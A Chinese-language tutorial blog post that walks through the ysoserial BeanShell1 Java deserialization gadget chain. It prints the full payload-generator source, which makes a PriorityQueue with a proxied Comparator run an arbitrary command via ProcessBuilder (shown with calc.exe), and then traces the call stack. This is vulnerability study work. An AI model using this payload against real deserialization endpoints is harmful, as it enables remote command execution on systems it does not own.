BeanShell1反序列化|ysoserial学习(五)
文章导读
今天对yso的分析学习选择了BeanShell1这个链子, 从这条链子可以学到一些关于解释器对象的一些属性特点, 以及Xthis对象能通过handler完全接管namespace和解释器的特点, 快来跟我一起学习吧
BeanShell1-Gadget
/**
* Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711)
*/
ysoserial源码
@Dependencies({ "org.beanshell:bsh:2.0b5" })
@Authors({Authors.PWNTESTER, Authors.CSCHNEIDER4711})
public class BeanShell1 extends PayloadRunner implements ObjectPayload<PriorityQueue> {
public PriorityQueue getObject(String command) throws Exception {
// BeanShell payload
String payload =
"compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{" +
Strings.join( // does not support spaces in quotes
Arrays.asList(command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"","\\\"").split(" ")),
",", "\"", "\"") +
"}).start();return new Integer(1);}";
// System.out.println(payload);
// Create Interpreter
Interpreter i = new Interpreter();
// Evaluate payload
i.eval(payload);
// Create InvocationHandler
XThis xt = new XThis(i.getNameSpace(), i);
InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt);
// Create Comparator Proxy
Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);
// Prepare Trigger Gadget (will call Comparator.compare() during deserialization)
final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
Object[] queue = new Object[] {1,1};
Reflections.setFieldValue(priorityQueue, "queue", queue);
Reflections.setFieldValue(priorityQueue, "size", 2);
return priorityQueue;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(BeanShell1.class, args);
}
}
通过源代码, 可以看到payload的构造主要分为一下几个步骤:
-
指定一段compare函数定义的代码字符串:
compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{"calc.exe"}).start();return new Integer(1);}
-
构造一个新的
Interpreter
解释器对象, 并对上面的compare
函数代码通过eval
函数进行动态编译 -
构造一个
XThis
对象xt
, 并且指定解释器为上面执行了compare函数编译之后的Interpreter
解释器对象, 同时指定命名空间namespace也为该Interpreter
解释器对象的namespace -
构造一个
comporator
比较器的代理对象, handler指定为上面的xt
对象中的invocationHandler
对象 -
将
comporator
代理对象指定到一个优先队列中 -
对优先队列完成一些基础填充
-
返回最终得到的优先队列payload
java.util.PriorityQueue#readObject
优先队列的作用可以说很明显了, 就是调用里面的comparator.compare方法
调用栈如下:
java.util.PriorityQueue#readObject
java.util.PriorityQueue#heapify
java.util.PriorityQueue#siftDownUsingComparator
bsh.XThis.Handler#invoke
因为对象中的comparator
对象被指定了bsh.XThis.Handler
作为代理的handler, 因此转到bsh.XThis.Handler#invoke
bsh.XThis.Handler#invokeImpl
在这个函数中会先检测调用方法的方法名字是否为equals
或toString
,如果是的话就执行一些操作, 但我们这里的函数是compare
, 所以并不会走上面那些逻辑,关键代码直接跳到函数最后
代码先是通过Primitive.wrap(args, paramTypes)
检测参数类型和Method
方法所需的参数类型是否匹配, 类型不匹配的参数项会将对应的参数置为null
这里并不会有什么影响,因为这里的compare
方法设置的两个参数类型均为Object
,所以参数保持不变
传入方法名compare
和原参数继续进入下一个invokeMethod
方法
bsh.This#invokeMethod(java.lang.String, java.lang.Object[])
没其他的,就是直接加了几个参数调用另一个invokeMethod
方法
bsh.This#invokeMethod(java.lang.String, java.lang.Object[], bsh.Interpreter, bsh.CallStack, bsh.SimpleNode, boolean)
这里代码就多一点了,但也没有太多东西, 就是从namespace找到函数名
和参数类型
都符合要求的函数方法, 然后使用invoke
完成调用
到这里其实链子的跟踪就可以结束了, 也为这个namespace就是我们之前指定的编译了一个重新定义的compare函数的Interpreter
解释器的namespace命名空间
因为命名空间中有我们重新定义的compare函数
compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{"calc.exe"}).start();return new Integer(1);}
因此namespace.getMethod( methodName, types, declaredOnly )
从namespace中得到的就是我们新定义的这个compare
函数, 之后就对其进行动态调用, 不管参数是什么,都将执行我们写入的命令
但是我们还是继续跟下去看看吧, 顺便了解一些XThis
是如何完成namespace命名空间的函数调用的
bsh.BshMethod#invoke(java.lang.Object[], bsh.Interpreter, bsh.CallStack, bsh.SimpleNode)
又是一个调用
bsh.BshMethod#invoke(java.lang.Object[], bsh.Interpreter, bsh.CallStack, bsh.SimpleNode, boolean)
bsh.BshMethod#invokeImpl
函数代码比较长, 所以分两个图解析
bsh.BSHBlock#eval(bsh.CallStack, bsh.Interpreter, boolean)
后面就是通过传入Interpreter
解释器对象执行从命名空间匹配到的函数方法
bsh.BSHBlock#evalBlock
bsh.BSHPrimaryExpression#eval(bsh.CallStack, bsh.Interpreter)
bsh.BSHPrimaryExpression#eval(boolean, bsh.CallStack, bsh.Interpreter)
bsh.BSHPrimarySuffix#doSuffix
在上面的一些列调用之后在doSuffix
中会取出拿到ProcessBuilder
对象,在经过下面的一些列反射调用之后成功执行ProcessBuilder
对象的start函数
bsh.BSHPrimarySuffix#doName
bsh.Reflect#invokeObjectMethod
bsh.Reflect#invokeMethod
java.lang.reflect.Method#invoke
sun.reflect.DelegatingMethodAccessorImpl#invoke
sun.reflect.NativeMethodAccessorImpl#invoke
sun.reflect.NativeMethodAccessorImpl#invoke0
java.lang.ProcessBuilder#start
链子特点
- 使用优先队列(感觉应该还是又其他的选择的,只要是一个我们可以自定义为代理对象的反序列化属性即可)
Interpreter
解释器对象特殊性,可以自己编译代码将函数写入到namespace中- Xthis的特点, 可以指定namespace和
Interpreter
解释器对象, 只需要使用其invocationHandler
就能完全接管了namesapce和解释器的功能 - Xthis的
invocationHandler
属性中的invoke从namespace找符合要求的函数去执行(这一点非常重要)